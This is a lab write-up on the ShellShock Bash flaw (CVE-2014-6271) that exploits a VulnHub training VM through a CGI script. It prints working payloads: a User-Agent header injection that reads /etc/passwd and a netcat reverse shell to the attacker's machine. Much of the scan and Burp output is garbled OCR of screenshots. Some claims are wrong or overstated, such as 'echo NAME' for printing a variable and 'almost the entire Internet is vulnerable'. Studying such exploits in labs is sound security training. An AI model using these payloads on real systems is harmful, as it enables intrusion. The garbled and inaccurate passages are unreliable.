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I. INTRODUCTION

This document is intented to provide detailed study on ShellShock attack. It covers all the required topics
for understanding this exploit. The proof of concept will help visualize and perform the attack in a virtual
scenario to understand the attack vector and the process of exploitation. We’re going to look at the CVE-
2014-6271 and get a better understanding of it.

II. KEY TERMS
Bash, Shell Shock, Environment Variables, CGI Scripts, CVE-2014—6271, Reverse Shell

III. DEFINITIONS

[1] Bash

Bash is a Unix shell written for the GNU Project as a free software replacement for the Bourne shell (sh).
It is often installed as the system's default command-line interface. It provides end users an interface to
issue system commands and execute scripts.

[2] ShellShock

This vulnerability in Bash allows remote code execution without confirmation. A series of random
characters, () { :; }; , confuses Bash because it doesn't know what to do with them, so by default, it
executes the code after it.

Windows is completely safe from this vulnerability. About 75%+ of the Internet is Apache, and 80% of
Apache servers run on Linux, so almost the entire Internet is vulnerable.

Bash functions can be used in .sh scripts, one liner commands and can also be defined in environment
variables.

[3] Environment Variables
Environment variables or ENVs basically define behavior of the environment. They can affect the
processes ongoing or the programs that are executed in the environment.

Declaring an Env Variable:
$ export NAME=VALUE

To display any Env Variable:
$ echo NAME

The source of the issue is that Bash can have internal function declaration in its environment variable. The
first version of the vulnerability is related to the ability to run arbitrary commands after a function
declaration.

First, we need to declare that the environment variable is a function using (). Then we will add an empty
body for the function. Finally, we can start adding the command we want to run after the function
declaration.



env x='() { :;}; echo vulnerable' bash -c "echo test"

Shellshock is effectively a Remote Command Execution vulnerability in BASH.
The vulnerability relies in the fact that BASH incorrectly executes trailing commands when it imports a
function definition stored into an environment variable.

1. In the above code x=() { :;}; is our legit function definition in BASH environment variable.
2. The next part, i.e echo vulnerable is the injection of arbitrary OS command.
3. The rest are the BASH command echo test invoked with on-the-fly defined environment.

The BASH was vulnerable to this since version 1.03 of Bash released in September 1989.
I will be talking about the RCE via Apache with CGI Scripts.

[4] CGI Scripts
CGI stands for Common Gateway Interface. It is a way to let Apache execute script files and send the
output to the client. Those script files can be written in any language understood by the server.

To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGI that will use
Bash. CGIs commonly use Python or Perl but it's not uncommon to find (on old servers), CGI written in
Shell or even C.

When you call a CGI, the web server (Apache here) will start a new process and run the CGI. Here it will
start a Bash process and run the CGI script.

Apache needs to pass information to the CGI script. To do so, it uses environment variables. Environment
variables are available inside the CGI script. It allows Apache to easily pass every headers (amongst other
information) to the CGI. If you have a HTTP header named Sike in your request, you will have an
environment variable named HTTP_SIKE available in your CGI.

[5] CVE-2014-6271

NIST definition : GNU Bash through 4.3 processes trailing strings after function definitions in the values
of environment variables, which allows remote attackers to execute arbitrary code via a crafted
environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the
mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP
clients, and other situations in which setting the environment occurs across a privilege boundary from
Bash execution, aka "ShellShock." Base Score: 9.8 CRITICAL

[6] Reverse Shell

A reverse shell is a shell process which will start on a machine, and its input and output are controlled by
an attacker from a remote computer. And always, the shell runs on the victim’s machine, but it will take
the input from the attacker machine and also prints its output on the attacker’s machine. Reverse shell will
give the attacker a convenient way to run commands on a compromised machine.



IV. STEPS FOR EXPLOITATION

[1] In my setup, I am running Kali Linux in NAT mode on Vmware Workstation Pro. My host machine
OS is Ubuntu 18.04.

[2] After downloading the vulnerable machine from vulnhub, boot it in virtual machine in NAT mode, so
now we are in same network range.

[3] Since we do not know the IP for the ShellShock vulnerable machine, we will quickly perform an arp-
scan.

# arp-scan --local
[4] So from the scan results we identify the IP for the Shellshock vulnerable VM i.e 192.168.234.151
[5] Now we can do an nmap scan to identify the open ports.

# nmap -p- -sV 192.168.234.151
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datalink type: EN1@MB (Ethernet)
can 1.98Sgwith 2! sts (https://github.com/royhills/arp-scan)
1 00:50 :08 VMware, Inc.
2 00:50 VMware, Inc.
151 00:0 H VMware, Inc.
254+00:50: :ea VMware, Inc.

s received by filter, @ packets dropped by kernel
p-scan 1.9.5: 256 hosts scanned in 1.995 seconds (128.32 host

g ) at 2020-02-18 21:08 IST

ports
ATE SERVICE VERSION

80/tcp o
MAC Add

Service detection performed. Please report any incorrect results at https
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.9 econds

i~#



https://www.vulnhub.com/entry/pentester-lab-cve-2014-6271-shellshock,104/

[6] We see that port 80 is open; copy the ip into the browser and we get a page stating “CVE-2014-6271”
and “This system is running”.

Applications ~ Places v &) Firefox ES Tue 21:07
[PentesterLab] CVE-2014-6271 - Mozilla Firefox e ® O
(> [PentesterLab] CVE-201 X | +
¢ @ @ 192.168.234.151 - 0w @ =

PentesterLab

CVE-2014-6271

This system is running:

Copyright © 2014 PentesterLah

[7] I will be using burp suite, intercept the web page using burp proxy. There is a cgi script running,
requirements to do Shellshock are met, so let’s see if it really works.

[8] Now in the request we have several parameters, so lets target the User-Agent .Using a simple test
payload shows a response which confirms shellshock bug is present.

/etc/passwd details of the vulnerable VM is displayed in the screen in response.

Applications = Places B burp-StartBurp Tue21:03
Burp Suite Community Edition v1.7.36 - Temporary Project e ® O
| Burp Intruder Repeater Window Help
Target Spider | Scanner Ilmtruder Tkepmter T Sequencer Iﬂecoder T(Dmpar&r IE:tEnﬂer T Project options IUseert\urls Alerts =
1 .
Go Target: http://192.168.234.151 L/J CJ
Raw | Headers Hex Raw | Headers Hex
GET /cgi-bin/status HTTP/1.1 A HTTP/1.1 200 0K A
Host: 192.168.234.151 r Date: Tue, 18 Feb 2020 19:49:08 GMT r
User-Agent: () { :;}; /bin/bash -c ‘ping -c 3 192.168.234.166; id; cat /etc/passwd Server: Apache/2.2.21 (Unix) DAV/2
Accept: application/json, text/javascript, */%; q=0.01 PING 192.168.234.166 (192.168.234.166): 56 data bytes
Accept-Language: en-US,en;q=0.5 64 bytes from 192.168.234.166: seq=0 ttl=64 time=0.513 ms, seq=1 ttl=64 time=D.906 ms, seq=2 ttl=G4 time=1.057
Accept-Encoding: gzip, deflate ms
Referer: http://192.168.234.151/ Connection: close
X-Requested-With: XMLHttpRequest Content-Type: text/plain
Connection: close Content-Length: 441
Cache-Control: max-age=0
-- 192.168.234.166 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = ©.513/8.825/1.657 ms
uid=1808(pentesterlab) gid=50(staff) groups=58(staff),108(pentesterlab)
root:x:8:8:root:/root:/binssh
Lp:x:7:7:Lp:fvar/spool/Lpd: /bin/sh
nobady :x:65534:65534 :nobody - /nonexistent : /bin/false
tcix:1801:58:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1088:58:Linux User,,,:/home/pentesterlab: /bin/sh
12 12
A\ A\
? = + = Type a search term 0 matches ? = + = Type a search term 0 matches
| Done 769 bytes | 2,017 millis fy




Now let’s try the exploit and get a Reverse Shell

[9] Intercept the web request in burp and open a terminal in Kali Linux with netcat listening on port 1337.

#nc -lvp 1337
[10] Edit the User Agent parameter :
#(0{ :;}; /bin/bash -c ‘nc 192.168.234.166 1337 -e /bin/sh’

(3 Terminal ~

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner Imtmder Tﬂepe_aber TSequem:er T Decoder TCamparer T Extender TPm]e:tnptmns TUsernptmns Alerts

root@kali: ~
Soqusst File Edit View Search Terminal Help

Raw | Headers | Hex :# nc -lvp 1337
GET /cgi-bin/status HTTR/1 1 listening on [any] 1337 ...
D:::fé:::“(’ﬁ‘f;? RN, 102 . 168.234.151: inverse host lookup failed: Unknown host
Penisaiiliect S Sl bl e et i connect to [192.168.234.166] from (UNKNOWN) [192.168.234.151] 56916
Accept-Language: en-US,en;q=0.5 id
Q:\;:::f";:::"gngz’gsB”:gﬁg‘u uid=1000(pentesterlab) gid=50(staff) groups=5(staff),100(pentesterlab)
X-Requested-With: XMLHttpRequest whoami

Connection: close pentesterlab
Cache-Control: max-age=0
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	To display any Env Variable: $ echo NAME

